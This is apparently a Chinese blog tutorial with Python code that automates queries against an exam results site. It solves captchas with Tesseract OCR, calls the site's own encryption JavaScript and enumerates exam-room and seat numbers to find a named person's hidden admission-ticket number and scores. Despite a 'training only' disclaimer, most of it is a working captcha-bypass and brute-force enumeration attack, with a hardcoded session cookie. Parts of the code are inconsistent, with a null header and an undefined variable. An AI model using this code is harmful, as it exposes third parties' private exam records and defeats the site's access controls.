前提：本文仅作为技术训练，不可利用技术做非法的事。
某考试的成绩查询页面如下：查询成绩需要的数据有准考证号或者身份证、考生姓名、验证码。现在使用python来实现自动查询指定人员的考试成绩（不知道准考证号的前提下）。主要使用的包有Tesseract-OCR、PIL、execjs、pytesseract、BeautifulSoup
查询页面：
入围名单：
包的功能介绍：
- execjs：由于查询成绩参数加密后发送给服务器，这里使用调用原网站的加密函数加密查询字符串。
- BeautifulSoup：建立爬取的网页的文档树。
- PIL：中的Image函数读取下载下来的验证码图片，实例化后传给Tesseract-OCR识别。
- Tesseract-OCR：读取图片验证码，识别图片中的数字（主要其中有图片的训练集）。
- pytesseract：tesseract_cmd来初始化Tesseract-OCR，然后使用image_to_data()方法识别图片中的数字，该方法接受Image实例化后的图片对象为参数。
第一步：安装环境
主要介绍Tesseract-OCR安装，其他包可通过pip+包名自行安装。
安装完成后将Tesseract-OCR添加进path环境变量；然后新建环境变量TESSDATA_PREFIX：安装目录Tesseract-OCR essdata。然后重启计算机。
cmd输入tesseract显示如下则安装成功：
第二步：登陆网站收集信息
使用正确的账号信息登陆，收集header、cookies及其他信息（例如本次登陆就使用到加密的js）。
- 加密js信息：（根据发送的查询字符串是否需要加密来决定是否添加）
JSCode = r''' /* *(1).加密: * 第一步:strEncode(data,firstKey,secondKey,thirdKey); *(2).解密: * 第一步:strDecode(data,firstKey,secondKey,thirdKey); */ /* * encrypt the string to string made up of hex * return the encrypted string */ 中间内容略 /*end*/ '''
- header相关信息
header = { 'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'keep-alive', 'Cookie': 'JSESSIONID=E9A7EF615C2A7FC0D99711C8697D158B', 'Host': '***.***.***.***', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' }
- 在python中可以使用如下方式调用js中的代码：
#装载 CTX = execjs.compile(JSCode) #调用 CTX.call('函数名', '实参')
第三步：模拟登陆（考号+姓名+验证码）
为了将准考证号中隐藏的数字找出来，我们需要不断遍历。直到考号跟姓名对应。
这里的验证码在访问成绩页面时就产生了，所以需要所以使用requests.get(url1, headers=header)来将验证码下载到本地，然后识别出来，接着在模拟查询按钮动作 requests.get(url2, headers=header)
，将所有信息塞入查询字符串进行查询，由于是遍历查询，一旦循环产生的考号与已知的姓名匹配，就会返回结果，查询结束。
- 模拟登陆，并返回查询结果req2.text：
def get_content(number='201902300365', name='张三'):#填入一个正确的默认信息 number = CTX.call('strEncode', number) #调用js加密数字，以下类同 name = CTX.call('strEncode', name) url1 = 'http://***.***.***.***/2019****/register/image.jsp' header = null #略 while True: try: req1 = requests.get(url1, headers=header) img = req1.content with open('./yanzhengma.png', 'wb') as f: f.write(img) im = Image.open(r'D:PycharmProjectsuntitled1yanzhengma.png') pytesseract.pytesseract.tesseract_cmd = r'C:Program Files (x86)Tesseract-OCR esseract.exe' num = pytesseract.image_to_data(im) #识别验证码中的数字 input_yznumber = num[-4:] #将结果的最后四位数字取出，即验证码 yznumber = CTX.call('strEncode', input_yznumber) url2 = 'http://***.***.***.***/2019****/printInfo.do?activity=cjddy&number=' + number + '&name=' + name + '&yznumber=' + yznumber req2 = requests.get(url2, headers=header) req2.encoding = 'utf-8' break except socket.timeout as e: print('3:', e) time.sleep(random.choice(range(8, 15))) except socket.error as e: print('4:', e) time.sleep(random.choice(range(20, 60))) except http.client.BadStatusLine as e: print('5:', e) time.sleep(random.choice(range(30, 80))) except http.client.IncompleteRead as e: print('6:', e) time.sleep(random.choice(range(5, 15))) return req2.text
- 使用BeautifulSoup遍历文档树：
遍历文档树后查询指定dom（本例是div）下的内容：
def get_data(xml_data): bs = BeautifulSoup(xml_data, "html.parser") scores = bs.find_all('div', string=re.compile('2019')) #考号的前几位 return scores
- 启动程序，遍历查询
if __name__ == "__main__": for kc in range(3000, 4601): #考场号 范围可从0-9999 根据考号规则改变 for zwh in range(0, 1000): #最大座位号是999 if len(str(zwh)) == 1: number = '20190'+str(kc)+'00'+str(zwh) elif len(str(zwh)) == 2: number = '20190'+str(kc) + '0'+str(zwh) else: number = '20190'+str(kc) + str(zwh) print("number = ", number) zhunkaohao = get_data(get_content(number='20191' + str(zwh)+'173', name='焦作')) if zwh % 50 == 0: t_zhunkaohao=get_data(get_content(number='201902300365', name='张三')) #每50次返回一个正确结果，来确保查询正确性 print("***************"+str(t_zuoweihao)) if zhunkaohao != []: print(zhunkaohao) break #查询成功 跳出循环
由于涉密，这里就不附上源码了。
需要引入以下包：
# coding: utf-8 import socket from bs4 import BeautifulSoup import requests, random, time, http import execjs import re import pytesseract from PIL import Image
参考：